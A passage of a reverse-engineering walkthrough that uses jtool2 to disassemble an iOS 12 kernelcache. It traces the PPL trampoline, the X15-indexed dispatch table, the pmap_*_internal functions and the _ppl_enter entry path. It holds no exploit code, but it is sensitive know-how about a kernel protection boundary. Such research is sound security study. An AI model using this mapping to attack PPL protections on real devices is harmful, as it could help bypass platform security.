isn't just invoked arbitrarily somewhere else in kernel space. PPL trampoline Starting with the trampoline code, we jtool2 -d - working on the kernelcache when it's compressed is entirely fine So we try, only to find out the text section is full of DCD 0x0. jtool2 doesn't filter - I delegate that to grep(1), so we try: morpheus@Chimera (~) % jtool2 -d __PPLTRAMP.__text ~/Downloads/kernelcache.release.iphone11 | grep -v DCD Disassembling 49344 bytes from address 0xfffffff008f58000 (offset 0x1f54000): fffffff008f5bfe0 0xd53b4234 MRS X20, DAIF ; fffffff008f5bfe4 0xd50347df MSR DAIFSet, #7 ; X - 0 0x0 fffffff008f5bfe8 ---------- *MOVKKKK X14, 0x4455445564666677 ; fffffff008f5bff8 0xd51cf22e MSR ARM64_REG_APRR_EL1, X14 ; X - 14 0x0 fffffff008f5bffc 0xd5033fdf ISB ; fffffff008f5c000 0xd50347df MSR DAIFSet, #7 ; X - 0 0x0 fffffff008f5c004 ---------- *MOVKKKK X14, 0x4455445564666677 ; fffffff008f5c014 0xd53cf235 MRS X21, ARM64_REG_APRR_EL1 ; fffffff008f5c018 0xeb1501df CMP X14, X21, ... ; fffffff008f5c01c 0x540005e1 B.NE 0xfffffff008f5c0d8 ; fffffff008f5c020 0xf10111ff CMP X15, #68 ; fffffff008f5c024 0x540005a2 B.CS 0xfffffff008f5c0d8 ; fffffff008f5c028 0xd53800ac MRS X12, MPIDR_EL1 ; fffffff008f5c02c 0x92781d8d AND X13, X12, #0xff00 ; fffffff008f5c030 0xd348fdad UBFX X13, X13#63 ; fffffff008f5c034 0xf10009bf CMP X13, #2 ; fffffff008f5c038 0x54000002 B.CS 0xfffffff008f5c038 ; fffffff008f5c03c 0xd0ff054e ADRP X14, 2089130 ; R14 = 0xfffffff007006000 fffffff008f5c040 0x9107c1ce ADD X14, X14, #496 ; R14 = R14 + 0x1f0 = 0xfffffff0070061f0 fffffff008f5c044 0xf86d79cd -LDR X13, [X14, X13 ...] ; R0 = 0x0 fffffff008f5c048 0x92401d8c AND X12, X12, #0xff ; fffffff008f5c04c 0x8b0d018c ADD X12, X12, X13 ; R12 = R12 + 0x0 = 0x0 fffffff008f5c050 0x900000ad ADRP X13, 20 ; R13 = 0xfffffff008f70000 fffffff008f5c054 0x910c01ad ADD X13, X13, #768 ; R13 = R13 + 0x300 = 0xfffffff008f70300 fffffff008f5c058 0xf100199f CMP X12, #6 ; fffffff008f5c05c 0x54000002 B.CS 0xfffffff008f5c05c ; fffffff008f5c060 0xd280300e MOVZ X14, 0x180 ; R14 = 0x180 fffffff008f5c064 0x9b0e358c MADD X12, X12, X14, X13 ; fffffff008f5c068 0xb9402189 LDR W9, [X12, #32] ; ...R9 = *(R12 + 32) = *0x20 fffffff008f5c06c 0x7100013f CMP W9, #0 ; fffffff008f5c070 0x54000180 B.EQ 0xfffffff008f5c0a0 ; fffffff008f5c074 0x7100053f CMP W9, #1 ; fffffff008f5c078 0x540002c0 B.EQ 0xfffffff008f5c0d0 ; fffffff008f5c07c 0x71000d3f CMP W9, #3 ; fffffff008f5c080 0x540002c1 B.NE 0xfffffff008f5c0d8 ; fffffff008f5c084 0x71000d5f CMP W10, #3 ; fffffff008f5c088 0x54000281 B.NE 0xfffffff008f5c0d8 ; fffffff008f5c08c 0x52800029 MOVZ W9, 0x1 ; R9 = 0x1 fffffff008f5c090 0xb9002189 STR W9, [X12, #32] ; *0x20 = R9 fffffff008f5c094 0xf9400d80 LDR X0, [X12, #24] ; ...R0 = *(R12 + 24) = *0x18 fffffff008f5c098 0x9100001f ADD X31, X0, #0 ; R31 = R0 + 0x0 = 0x18 fffffff008f5c09c 0x17aa1e6e B 0xfffffff0079e3a54 ; fffffff008f5c0a0 0x7100015f CMP W10, #0 ; fffffff008f5c0a4 0x540001a1 B.NE 0xfffffff008f5c0d8 ; fffffff008f5c0a8 0x5280002d MOVZ W13, 0x1 ; R13 = 0x1 fffffff008f5c0ac 0xb900218d STR W13, [X12, #32] ; *0x20 = R13 fffffff008f5c0b0 0xb0ff4329 ADRP X9, 2091109 ; R9 = 0xfffffff0077c1000 fffffff008f5c0b4 0x913c8129 ADD X9, X9, #3872 ; R9 = R9 + 0xf20 = 0xfffffff0077c1f20 fffffff008f5c0b8 0xf86f792a -LDR X10, [X9, X15 ...] ; R0 = 0x0 fffffff008f5c0bc 0xf9400989 LDR X9, [X12, #16] ; ...R9 = *(R12 + 16) fffffff008f5c0c0 0x910003f5 ADD X21, SP, #0 ; R21 = R31 + 0x0 fffffff008f5c0c4 0x9100013f ADD X31, X9, #0 ; R31 = R9 + 0x0 = 0x10971a008 fffffff008f5c0c8 0xf9000595 STR X21, [X12, #8] ; *0x8 = R21 fffffff008f5c0cc 0x17aa210f B 0xfffffff0079e4508 ; fffffff008f5c0d0 0xf940058a LDR X10, [X12, #8] ; ...R10 = *(R12 + 8) = *0x8 fffffff008f5c0d4 0x9100015f ADD X31, X10, #0 ; R31 = R10 + 0x0 = 0x8 fffffff008f5c0d8 0xd280004f MOVZ X15, 0x2 ; R15 = 0x2 fffffff008f5c0dc 0xaa1403ea MOV X10, X20 ; fffffff008f5c0e0 0x14001fc3 B 0xfffffff008f63fec ; fffffff008f5c0e4 0xd280000f MOVZ X15, 0x0 ; R15 = 0x0 fffffff008f5c0e8 0x910002bf ADD X31, X21, #0 ; R31 = R21 + 0x0 = 0x18 fffffff008f5c0ec 0xaa1403ea MOV X10, X20 ; fffffff008f5c0f0 0xf900059f STR XZR, [X12, #8] ; *0x8 = R31 fffffff008f5c0f4 0xb9402189 LDR W9, [X12, #32] ; ...R9 = *(R12 + 32) = *0x20 fffffff008f5c0f8 0x7100053f CMP W9, #1 ; fffffff008f5c0fc 0x54000001 B.NE 0xfffffff008f5c0fc ; fffffff008f5c100 0x52800009 MOVZ W9, 0x0 ; R9 = 0x0 fffffff008f5c104 0xb9002189 STR W9, [X12, #32] ; *0x20 = R9 fffffff008f5c108 0x14001fb9 B 0xfffffff008f63fec ; -------------- fffffff008f63fec ---------- *MOVKKKK X14, 0x4455445464666477 ; fffffff008f63ffc 0xd51cf22e MSR ARM64_REG_APRR_EL1, X14 ; X - 14 0x44554454646665f7 fffffff008f64000 0xd5033fdf ISB ; fffffff008f64004 0xf1000dff CMP X15, #3 ; fffffff008f64008 0x54000520 B.EQ 0xfffffff008f640ac ; fffffff008f6400c 0xf27a095f TST X10, #448 ; fffffff008f64010 0x54000140 B.EQ 0xfffffff008f64038 ; fffffff008f64014 0xf27a055f TST X10, #192 ; fffffff008f64018 0x540000c0 B.EQ 0xfffffff008f64030 ; fffffff008f6401c 0xf278015f TST X10, #256 ; fffffff008f64020 0x54000040 B.EQ 0xfffffff008f64028 ; fffffff008f64024 0x14000006 B 0xfffffff008f6403c ; fffffff008f64028 0xd50344ff MSR DAIFClr, #4 ; X - 0 0x0 fffffff008f6402c 0x14000004 B 0xfffffff008f6403c ; fffffff008f64030 0xd50343ff MSR DAIFClr, #3 ; X - 0 0x0 fffffff008f64034 0x14000002 B 0xfffffff008f6403c ; fffffff008f64038 0xd50347ff MSR DAIFClr, #7 ; X - 0 0x0 fffffff008f6403c 0xf10005ff CMP X15, #1 ; fffffff008f64040 0x54000380 B.EQ 0xfffffff008f640b0 ; fffffff008f64044 0xd538d08a MRS X10, TPIDR_EL1 ; fffffff008f64048 0xb944714c LDR W12, [X10, #1136] ; ...R12 = *(R10 + 1136) = *0x470 fffffff008f6404c 0x3500004c CBNZ X12, 0xfffffff008f64054 ; fffffff008f64050 0x17a9fedb B 0xfffffff0079e3bbc ; fffffff008f64054 0x5100058c SUB W12, W12, #1 ; fffffff008f64058 0xb904714c STR W12, [X10, #1136] ; *0x470 = R12 fffffff008f6405c 0xd53b4221 MRS X1, DAIF ; fffffff008f64060 0xf279003f TST X1, #128 ; fffffff008f64064 0x540001a1 B.NE 0xfffffff008f64098 ; fffffff008f64068 0xb500018c CBNZ X12, 0xfffffff008f64098 ; fffffff008f6406c 0xd50343df MSR DAIFSet, #3 ; X - 0 0x0 fffffff008f64070 0xf942354c LDR X12, [X10, #1128] ; ...R12 = *(R10 + 1128) = *0x468 fffffff008f64074 0xf940318e LDR X14, [X12, #96] ; ...R14 = *(R12 + 96) = *0x4c8 fffffff008f64078 0xf27e01df TST X14, #4 ; fffffff008f6407c 0x540000c0 B.EQ 0xfffffff008f64094 ; fffffff008f64080 0xaa0003f4 MOV X20, X0 ; fffffff008f64084 0xaa0f03f5 MOV X21, X15 ; fffffff008f64088 0x97aae7de BL 0xfffffff007a1e000 ; _func_fffffff007a1e000 _func_fffffff007a1e000(ARG0); fffffff008f6408c 0xaa1503ef MOV X15, X21 ; fffffff008f64090 0xaa1403e0 MOV X0, X20 ; fffffff008f64094 0xd50343ff MSR DAIFClr, #3 ; X - 0 0x0 fffffff008f64098 0xa9417bfd LDP X29, X30, [SP, #0x10] ; fffffff008f6409c 0xa8c257f4 LDP X20, X21, [SP], #0x20 ; fffffff008f640a0 0xf10009ff CMP X15, #2 ; fffffff008f640a4 0x54000080 B.EQ 0xfffffff008f640b4 ; fffffff008f640a8 0xd65f0fff RETAB ; fffffff008f640ac 0xd61f0320 BR X25 ; fffffff008f640b0 0x17ab113a B 0xfffffff007a28598 ; _panic_trap_to_debugger fffffff008f640b4 0xb0000100 ADRP X0, 33 ; R0 = 0xfffffff008f85000 fffffff008f640b8 0x91102000 ADD X0, X0, #1032 ; R0 = R0 + 0x408 = 0xfffffff008f85408 fffffff008f640bc 0x17ab1126 B 0xfffffff007a28554 ; _panic We see that the code in the PPLTRAMP is pretty sparse (lots of DCD 0x0s have been weeded out). But it's not entirely clear how and where we get to this code. We'll get to that soon. Observe, that the code is seemingly dependent on X15, which must be less than 68 (per the check in 0xfffffff008f5c020). A bit further down, we see an LDR X10, [X9, X15 ...], which is a classic switch()/table style statement, using 0xfffffff0077c1f20 as a base: fffffff008f5c020 0xf10111ff CMP X15, #68 ; fffffff008f5c024 0x540005a2 B.CS 0xfffffff008f5c0d8 ; ... fffffff008f5c0b0 0xb0ff4329 ADRP X9, 2091109 ; R9 = 0xfffffff0077c1000 fffffff008f5c0b4 0x913c8129 ADD X9, X9, #3872 ; R9 = R9 + 0xf20 = 0xfffffff0077c1f20 fffffff008f5c0b8 0xf86f792a -LDR X10, [X9, X15 ...] ; R0 = 0x0 Peeking at that address, we see: morpheus@Chimera (~/) % jtool2 -d 0xfffffff0077c1f20 ~/Downloads/kernelcache.release.iphone11 | head -69 Dumping 2200392 bytes from 0xfffffff0077c1f20 (Offset 0x7bdf20, __DATA_CONST.__const): 0xfffffff0077c1f20: 0xfffffff008f52ee4 __func_0xfffffff008f52ee4 0xfffffff0077c1f28: 0xfffffff008f51e4c __func_0xfffffff008f51e4c 0xfffffff0077c1f30: 0xfffffff008f52a30 __func_0xfffffff008f52a30 0xfffffff0077c1f38: 0xfffffff008f525dc __func_0xfffffff008f525dc 0xfffffff0077c1f40: 0xfffffff008f51c4c __func_0xfffffff008f51c4c 0xfffffff0077c1f48: 0xfffffff008f51ba0 __func_0xfffffff008f51ba0 0xfffffff0077c1f50: 0xfffffff008f518f4 __func_0xfffffff008f518f4 0xfffffff0077c1f58: 0xfffffff008f5150c __func_0xfffffff008f5150c 0xfffffff0077c1f60: 0xfffffff008f50994 __func_0xfffffff008f50994 0xfffffff0077c1f68: 0xfffffff008f4f59c __func_0xfffffff008f4f59c 0xfffffff0077c1f70: 0xfffffff008f4de6c __func_0xfffffff008f4de6c 0xfffffff0077c1f78: 0xfffffff008f4dcac __func_0xfffffff008f4dcac 0xfffffff0077c1f80: 0xfffffff008f4dae4 __func_0xfffffff008f4dae4 0xfffffff0077c1f88: 0xfffffff008f4d7e8 __func_0xfffffff008f4d7e8 0xfffffff0077c1f90: 0xfffffff008f4d58c __func_0xfffffff008f4d58c 0xfffffff0077c1f98: 0xfffffff008f4d1ec __func_0xfffffff008f4d1ec 0xfffffff0077c1fa0: 0xfffffff008f4cef8 __func_0xfffffff008f4cef8 0xfffffff0077c1fa8: 0xfffffff008f4c038 __func_0xfffffff008f4c038 0xfffffff0077c1fb0: 0xfffffff008f48420 __func_0xfffffff008f48420 0xfffffff0077c1fb8: 0xfffffff008f4bacc __func_0xfffffff008f4bacc 0xfffffff0077c1fc0: 0xfffffff008f4b754 __func_0xfffffff008f4b754 0xfffffff0077c1fc8: 0xfffffff008f4b458 __func_0xfffffff008f4b458 0xfffffff0077c1fd0: 0xfffffff008f4b3a0 __func_0xfffffff008f4b3a0 0xfffffff0077c1fd8: 0xfffffff008f4afc4 __func_0xfffffff008f4afc4 0xfffffff0077c1fe0: 0xfffffff008f4afbc __func_0xfffffff008f4afbc 0xfffffff0077c1fe8: 0xfffffff008f4acec __func_0xfffffff008f4acec 0xfffffff0077c1ff0: 0xfffffff008f4ac38 __func_0xfffffff008f4ac38 0xfffffff0077c1ff8: 0xfffffff008f4ac34 __func_0xfffffff008f4ac34 0xfffffff0077c2000: 0xfffffff008f4aa78 __func_0xfffffff008f4aa78 0xfffffff0077c2008: 0xfffffff008f4a8b0 __func_0xfffffff008f4a8b0 0xfffffff0077c2010: 0xfffffff008f4a8a0 __func_0xfffffff008f4a8a0 0xfffffff0077c2018: 0xfffffff008f4a730 __func_0xfffffff008f4a730 0xfffffff0077c2020: 0xfffffff008f4a09c __func_0xfffffff008f4a09c 0xfffffff0077c2028: 0xfffffff008f4a098 __func_0xfffffff008f4a098 0xfffffff0077c2030: 0xfffffff008f49fbc __func_0xfffffff008f49fbc 0xfffffff0077c2038: 0xfffffff008f49d0c __func_0xfffffff008f49d0c 0xfffffff0077c2040: 0xfffffff008f49c08 __func_0xfffffff008f49c08 0xfffffff0077c2048: 0xfffffff008f49940 __func_0xfffffff008f49940 0xfffffff0077c2050: 0xfffffff008f494c0 __func_0xfffffff008f494c0 0xfffffff0077c2058: 0xfffffff008f492e8 __func_0xfffffff008f492e8 0xfffffff0077c2060: 0xfffffff008f47d54 __func_0xfffffff008f47d54 0xfffffff0077c2068: 0xfffffff008f47d58 __func_0xfffffff008f47d58 0xfffffff0077c2070: 0xfffffff008f46ea0 __func_0xfffffff008f46ea0 0xfffffff0077c2078: 0xfffffff008f46a50 __func_0xfffffff008f46a50 0xfffffff0077c2080: 0xfffffff008f45ef8 __func_0xfffffff008f45ef8 0xfffffff0077c2088: 0xfffffff008f45ca0 __func_0xfffffff008f45ca0 0xfffffff0077c2090: 0xfffffff008f45a80 __func_0xfffffff008f45a80 0xfffffff0077c2098: 00 00 00 00 00 00 00 00 ........ 0xfffffff0077c20a0: 00 00 00 00 00 00 00 00 ........ 0xfffffff0077c20a8: 00 00 00 00 00 00 00 00 ........ 0xfffffff0077c20b0: 00 00 00 00 00 00 00 00 ........ 0xfffffff0077c20b8: 00 00 00 00 00 00 00 00 ........ 0xfffffff0077c20c0: 00 00 00 00 00 00 00 00 ........ 0xfffffff0077c20c8: 00 00 00 00 00 00 00 00 ........ 0xfffffff0077c20d0: 00 00 00 00 00 00 00 00 ........ 0xfffffff0077c20d8: 00 00 00 00 00 00 00 00 ........ 0xfffffff0077c20e0: 00 00 00 00 00 00 00 00 ........ 0xfffffff0077c20e8: 00 00 00 00 00 00 00 00 ........ 0xfffffff0077c20f0: 0xfffffff008f457b8 __func_0xfffffff008f457b8 0xfffffff0077c20f8: 0xfffffff008f456e4 __func_0xfffffff008f456e4 0xfffffff0077c2100: 0xfffffff008f455c8 __func_0xfffffff008f455c8 0xfffffff0077c2108: 0xfffffff008f454bc __func_0xfffffff008f454bc 0xfffffff0077c2110: 0xfffffff008f45404 __func_0xfffffff008f45404 0xfffffff0077c2118: 0xfffffff008f45274 __func_0xfffffff008f45274 0xfffffff0077c2120: 0xfffffff008f446c0 __func_0xfffffff008f446c0 0xfffffff0077c2128: 0xfffffff008f445b0 __func_0xfffffff008f445b0 0xfffffff0077c2130: 0xfffffff008f441dc __func_0xfffffff008f441dc 0xfffffff0077c2138: 0xfffffff008f44010 __func_0xfffffff008f44010 0xfffffff0077c2140: 00 00 00 00 00 00 00 00 ........ Clearly, a dispatch table - function pointers aplenty. Where do these lie? Taking any one of them and subjecting to jtool2 -a will locate it: morpheus@Chimera (~) %jtool2 -a 0xfffffff008f457b8 ~/Downloads/kernelcache.release.iphone11 Address 0xfffffff008f457b8 (offset 0x1f417b8) is in __PPLTEXT.__text This enables us to locate functions in __PPLTEXT.__text, whose addresses are not exported by LC_FUNCTION_STARTS. So that's already pretty useful. The __PPLTEXT.__text is pretty big, but we can use a very rudimentary decompilation feature, thanks to jtool2's ability to follow arguments: morpheus@Chimera (~) %jtool2 -d __PPLTEXT.__text ~/Downloads/kernelcache.release.iphone11 | grep -v ^ff | # Ignore disassembly lines grep \" | # get strings Disassembling 78564 bytes from address 0xfffffff008f44000 (offset 0x1f40000): _func_fffffff007a28554(""%s: ledger %p array index invalid, index was %#llx"", "pmap_ledger_validate" ); _func_fffffff007a28554(""%s: ledger still referenced, " "ledger=%p"", "pmap_ledger_free_internal"); _func_fffffff007a28554(""%s: invalid ledger ptr %p"", "pmap_ledger_validate"); ... These are obvious panic strings, and _func_fffffff007a28554 is indeed _panic (jtool2 could have immediately symbolicated vast swaths of the kernel if we had used --analyze - I'm deliberately walking step by step here). Note that the panic strings also give us the panicking function. That can get us the symbol names for 30 something of all them functions we found! They're all "pmap...internal", and jtool2 can just dump the strings (thanks for not redacting, AAPL!): morpheus@Chimera (~)% jtool2 -d __TEXT.__cstring ~/Downloads/kernelcache.release.iphone11 | grep pmap_.*internal Dumping 2853442 bytes from 0xfffffff0074677ec (Offset 0x4637ec, __TEXT.__cstring): 0xfffffff00747027e: pmap_ledger_free_internal 0xfffffff0074702c8: pmap_ledger_alloc_internal 0xfffffff0074706e2: pmap_ledger_alloc_init_internal 0xfffffff007470789: pmap_trim_internal 0xfffffff007470b95: pmap_iommu_ioctl_internal 0xfffffff007470d30: pmap_iommu_unmap_internal 0xfffffff007470d4a: pmap_iommu_map_internal 0xfffffff007470d7f: pmap_iommu_init_internal 0xfffffff007470e3e: pmap_cs_check_overlap_internal 0xfffffff007470e5d: pmap_cs_lookup_internal 0xfffffff007470e75: pmap_cs_associate_internal_options 0xfffffff00747188d: pmap_set_jit_entitled_internal 0xfffffff0074719ba: pmap_cpu_data_init_internal 0xfffffff007471a03: pmap_unnest_options_internal 0xfffffff007471ad7: pmap_switch_user_ttb_internal 0xfffffff007471af5: pmap_switch_internal 0xfffffff007471b0a: pmap_set_nested_internal 0xfffffff007471bcd: pmap_remove_options_internal 0xfffffff007471d61: pmap_reference_internal 0xfffffff007471d79: pmap_query_resident_internal 0xfffffff007471dc2: pmap_query_page_info_internal 0xfffffff007471e05: pmap_protect_options_internal 0xfffffff007471ebd: pmap_nest_internal 0xfffffff007472247: pmap_mark_page_as_ppl_page_internal 0xfffffff007472336: pmap_map_cpu_windows_copy_internal 0xfffffff007472386: pmap_is_empty_internal 0xfffffff00747239d: pmap_insert_sharedpage_internal 0xfffffff007472422: pmap_find_phys_internal 0xfffffff00747243a: pmap_extract_internal 0xfffffff007472450: pmap_enter_options_internal 0xfffffff0074727ee: pmap_destroy_internal 0xfffffff0074729c4: pmap_create_internal 0xfffffff0074729fc: pmap_change_wiring_internal 0xfffffff007472a53: pmap_batch_set_cache_attributes_internal The few functions we do not have, can be figured out by the context of calling them from the non-PPL pmap_* wrappers. But we still don't know how we get into PPL. Let's go to the __TEXT_EXEC.__text then. __TEXT_EXEC.__text The kernel's __TEXT_EXEC.__text is already pretty large, but adding all the Kext code into it makes it darn huge. AAPL has also stripped the kernel clean in 1469 kernelcaches - but not before leaving a farewell present in iOS 12 β 1 - a fully symbolicated (86,000+) kernel. Don't bother looking for that IPSW - In an unusual admittal of mistake this is the only beta IPSW in history that has been eradicated. Thankfully, researchers were on to this "move to help researchers", and grabbed a copy when they still could. I did the same, and based jtool2's kernel cache analysis on it. This is the tool formerly known as joker - which, if you're still using - forget about. I no longer maintain that, because now it's built into jtool2, xn00p (my kernel debugger) and soon QiLin - as fully self contained and portable library code. Running an analysis on the kernelcache is blazing fast - on order of 8 seconds or so on my MBP2018. Try this: morpheus@Chimera (~) %time jtool2 --analyze ~/Downloads/kernelcache.release.iphone11 Analyzing kernelcache.. This is an A12 kernelcache (Darwin Kernel Version 18.2.0: Wed Dec 19 20:28:53 PST 2018; root:xnu-4903.242.2~1/RELEASE_ARM64_T8020) -- Processing __TEXT_EXEC.__text.. Disassembling 22433272 bytes from address 0xfffffff0079dc000 (offset 0x9d8000): __ZN11OSMetaClassC2EPKcPKS_j is 0xfffffff007fedc64 (OSMetaClass) Analyzing __DATA_CONST.. processing flows... Analyzing __DATA.__data.. Analyzing __DATA.__sysctl_set.. Analyzing fuctions... FOUND at 0xfffffff007a2c8e4! Analyzing __PPLTEXT.__text.. Got 1881 IOKit Classes opened companion file ./kernelcache.release.iphone11.ARM64.AD091625-3D05-3841-A1B6-AF60B4D43F35 Dumping symbol cache to file Symbolicated 5070 symbols to ./kernelcache.release.iphone11.ARM64.AD091625-3D05-3841-A1B6-AF60B4D43F35 jtool2 --analyze ~/Downloads/kernelcache.release.iphone11 6.07s user 0.32s system 99% cpu 6.447 total Let's ignore the __PPLTEXT autoanalysis for the moment (TL;DR - stop reading, all the symbols you need are auto symbolicated by jtool2's jokerlib. And let's look at code which happens to be a PPL client - the despicable AMFI. I'll spare you wandering out and get directly to the function in question: morpheus@Chimera (~) % JCOLOR=1 jtool2 -d __Z31AMFIIsCodeDirectoryInTrustCachePKh ~/Downloads/kernelcache.release.iphone11 opened companion file ./kernelcache.release.iphone11.ARM64.AD091625-3D05-3841-A1B6-AF60B4D43F35 Disassembling 13991556 bytes from address 0xfffffff0081e8f74 (offset 0x11e4f74): __Z31AMFIIsCodeDirectoryInTrustCachePKh: fffffff0081e8f74 0xd503237f PACIBSP ; fffffff0081e8f78 0xa9bf7bfd STP X29, X30, [SP, #-16]! ; fffffff0081e8f7c 0x910003fd ADD X29, SP, #0 ; R29 = R31 + 0x0 fffffff0081e8f80 0x97e65da4 BL 0xfffffff007b80610 ; _func_0xfffffff007b80610 _func_0xfffffff007b80610() fffffff0081e8f84 0x12000000 AND W0, W0, #0x1 ; fffffff0081e8f88 0xa8c17bfd LDP X29, X30, [SP], #0x10 ; fffffff0081e8f8c 0xd65f0fff RETAB ; When used on a function name, jtool2 automatically disassembles to the end of the function. We see that this is merely a wrapper over _func_0xfffffff007b80610. So we inspect what's there: morpheus@Chimera (~) %jtool2 -d _func_0xfffffff007b80610 ~/Downloads/kernelcache.release.iphone11 _func_0xfffffff007b80610: fffffff007b80610 0x17f9ba10 B 0xfffffff0079eee50 So...: _func_fffffff0079eee50: fffffff0079eee50 0xd280050f MOVZ X15, 0x28 ; R15 = 0x28 fffffff0079eee54 0x17ffd59e B 0xfffffff0079e44cc ; _ppl_enter _func_fffffff0079eee58: fffffff0079eee58 0xd280052f MOVZ X15, 0x29 ; R15 = 0x29 fffffff0079eee5c 0x17ffd59c B 0xfffffff0079e44cc ; _ppl_enter _func_fffffff0079eee60: fffffff0079eee60 0xd280042f MOVZ X15, 0x21 ; R15 = 0x21 fffffff0079eee64 0x17ffd59a B 0xfffffff0079e44cc ; _ppl_enter _func_fffffff0079eee68: fffffff0079eee68 0xd280082f MOVZ X15, 0x41 ; R15 = 0x41 fffffff0079eee6c 0x17ffd598 B 0xfffffff0079e44cc ; _ppl_enter _func_fffffff0079eee70: fffffff0079eee70 0xd280084f MOVZ X15, 0x42 ; R15 = 0x42 fffffff0079eee74 0x17ffd596 B 0xfffffff0079e44cc ; _ppl_enter And, as we can see, here is the X15 we saw back in __PPLTRAMP! Its value gets loaded and then a common jump to a function at 0xfffffff0079e44cc (already symbolicated as _ppl_enter in the above example). Disassembling a bit before and after will reveal a whole slew of these MOVZ,B,MOVZ,B,MOVZ,B... Using jtool2's new Gadget Finder (which I just imported from disarm): morpheus@Chimera (~) % jtool2 -G MOVZ,B,MOVZ,B,MOVZ,B,MOVZ,B ~/Downloads/kernelcache.release.iphone11 | grep X15 0x9eacb8: MOVZ X15, 0x0 0x9eacb8: MOVZ X15, 0x1 0x9eacb8: MOVZ X15, 0x2 0x9eacb8: MOVZ X15, 0x3 0x9eacd8: MOVZ X15, 0x6 0x9eacd8: MOVZ X15, 0x7 0x9eacd8: MOVZ X15, 0x8 0x9eacd8: MOVZ X15, 0x9 0x9eacf8: MOVZ X15, 0xa 0x9eacf8: MOVZ X15, 0xb 0x9eacf8: MOVZ X15, 0xc 0x9eacf8: MOVZ X15, 0xd 0x9ead18: MOVZ X15, 0xe 0x9ead18: MOVZ X15, 0xf 0x9ead18: MOVZ X15, 0x11 0x9ead18: MOVZ X15, 0x12 0x9ead38: MOVZ X15, 0x13 0x9ead38: MOVZ X15, 0x14 0x9ead38: MOVZ X15, 0x15 0x9ead38: MOVZ X15, 0x16 0x9ead58: MOVZ X15, 0x17 0x9ead58: MOVZ X15, 0x18 0x9ead58: MOVZ X15, 0x19 0x9ead58: MOVZ X15, 0x1a 0x9ead78: MOVZ X15, 0x1b 0x9ead78: MOVZ X15, 0x1f 0x9ead78: MOVZ X15, 0x20 0x9ead78: MOVZ X15, 0x22 0x9ead98: MOVZ X15, 0x5 0x9ead98: MOVZ X15, 0x10 0x9ead98: MOVZ X15, 0x4 0x9ead98: MOVZ X15, 0x1c 0x9eadb8: MOVZ X15, 0x1d 0x9eadb8: MOVZ X15, 0x1e 0x9eadb8: MOVZ X15, 0x23 0x9eadb8: MOVZ X15, 0x24 0x9eadd8: MOVZ X15, 0x40 0x9eadd8: MOVZ X15, 0x3a 0x9eadd8: MOVZ X15, 0x3b 0x9eadd8: MOVZ X15, 0x3c 0x9eadf8: MOVZ X15, 0x3d 0x9eadf8: MOVZ X15, 0x3e 0x9eadf8: MOVZ X15, 0x3f 0x9eadf8: MOVZ X15, 0x2a 0x9eae18: MOVZ X15, 0x2b 0x9eae18: MOVZ X15, 0x2c 0x9eae18: MOVZ X15, 0x2d 0x9eae18: MOVZ X15, 0x2e 0x9eae38: MOVZ X15, 0x25 0x9eae38: MOVZ X15, 0x26 0x9eae38: MOVZ X15, 0x27 0x9eae38: MOVZ X15, 0x28 0x9eae58: MOVZ X15, 0x29 0x9eae58: MOVZ X15, 0x21 0x9eae58: MOVZ X15, 0x41 0x9eae58: MOVZ X15, 0x42 Naturally, a pattern as obvious as this cannot go unnoticed by the joker module, so if you did run jtool2 --analyze all these MOVZ,B snippets will be properly symbolicated. But now let's look at the common code, _ppl_enter: _ppl_enter: fffffff0079e44cc 0xd503237f PACIBSP ; fffffff0079e44d0 0xa9be57f4 STP X20, X21, [SP, #-32]! ; fffffff0079e44d4 0xa9017bfd STP X29, X30, [SP, #16] ; fffffff0079e44d8 0x910043fd ADD X29, SP, #16 ; R29 = R31 + 0x10 fffffff0079e44dc 0xd538d08a MRS X10, TPIDR_EL1 ; fffffff0079e44e0 0xb944714c LDR W12, [X10, #1136] ; ...R12 = *(R10 + 1136) = *0x470 fffffff0079e44e4 0x1100058c ADD W12, W12, #1 ; R12 = R12 + 0x1 = 0x471 fffffff0079e44e8 0xb904714c STR W12, [X10, #1136] ; *0x470 = R12 fffffff0079e44ec 0x9000ac6d ADRP X13, 5516 ; R13 = 0xfffffff008f70000 fffffff0079e44f0 0x9101c1ad ADD X13, X13, #112 ; R13 = R13 + 0x70 = 0xfffffff008f70070 fffffff0079e44f4 0xb94001ae LDR W14, [X13, #0] ; ...R14 = *(R13 + 0) = *0xfffffff008f70070 fffffff0079e44f8 0x6b1f01df CMP W14, WZR, ... ; fffffff0079e44fc 0x54000280 B.EQ 0xfffffff0079e454c ; fffffff0079e4500 0x5280000a MOVZ W10, 0x0 ; R10 = 0x0 fffffff0079e4504 0x1455deb7 B 0xfffffff008f5bfe0 ; morpheus@Chimera (~) %jtool2 -a 0xfffffff008f70070 ~/Downloads/kernelcache.release.iphone11 opened companion file ./kernelcache.release.iphone11.ARM64.AD091625-3D05-3841-A1B6-AF60B4D43F35 Address 0xfffffff008f70070 (offset 0x1f6c070) is in __PPLDATA.__data morpheus@Chimera (~) %jtool2 -d 0xfffffff008f70070,4 ~/Downloads/kernelcache.release.iphone11 | head -5 opened companion file ./kernelcache.release.iphone11.ARM64.AD091625-3D05-3841-A1B6-AF60B4D43F35 Dumping 4 bytes from 0xfffffff008f70070 (Offset 0x1f6c070, __PPLDATA.__data): 0xfffffff008f70070: 00 00 00 00 ..... Hmm. all zeros. Note there was a check for that (in fffffff0079e44fc), which redirected us to 0xfffffff0079e454c. There, we find: _func_fffffff0079e454c: fffffff0079e454c 0xf10111ff CMP X15, #68 ; fffffff0079e4550 0x54000162 B.CS 0xfffffff0079e457c ; fffffff0079e4554 0xb0ffeee9 ADRP X9, 2096605 ; R9 = 0xfffffff0077c1000 fffffff0079e4558 0x913c8129 ADD X9, X9, #3872 ; R9 = R9 + 0xf20 = 0xfffffff0077c1f20 fffffff0079e455c 0xf86f792a -LDR X10, [X9, X15 ...] ; R0 = 0x0 fffffff0079e4560 0xd63f095f BLRAA X10 ; fffffff0079e4564 0xaa0003f4 MOV X20, X0 ; fffffff0079e4568 0x94069378 BL 0xfffffff007b89348 ; __enable_preemption __enable_preemption(ARG0); fffffff0079e456c 0xaa1403e0 MOV X0, X20 ; fffffff0079e4570 0xa9417bfd LDP X29, X30, [SP, #0x10] ; fffffff0079e4574 0xa8c257f4 LDP X20, X21, [SP], #0x20 ; fffffff0079e4578 0xd65f0fff RETAB ; fffffff0079e457c 0xa9417bfd LDP X29, X30, [SP, #0x10] ; fffffff0079e4580 0xa8c257f4 LDP X20, X21, [SP], #0x20 ; fffffff0079e4584 0xd50323ff AUTIBSP ; fffffff0079e4588 0xb000ad00 ADRP X0, 5537 ; R0 = 0xfffffff008f85000 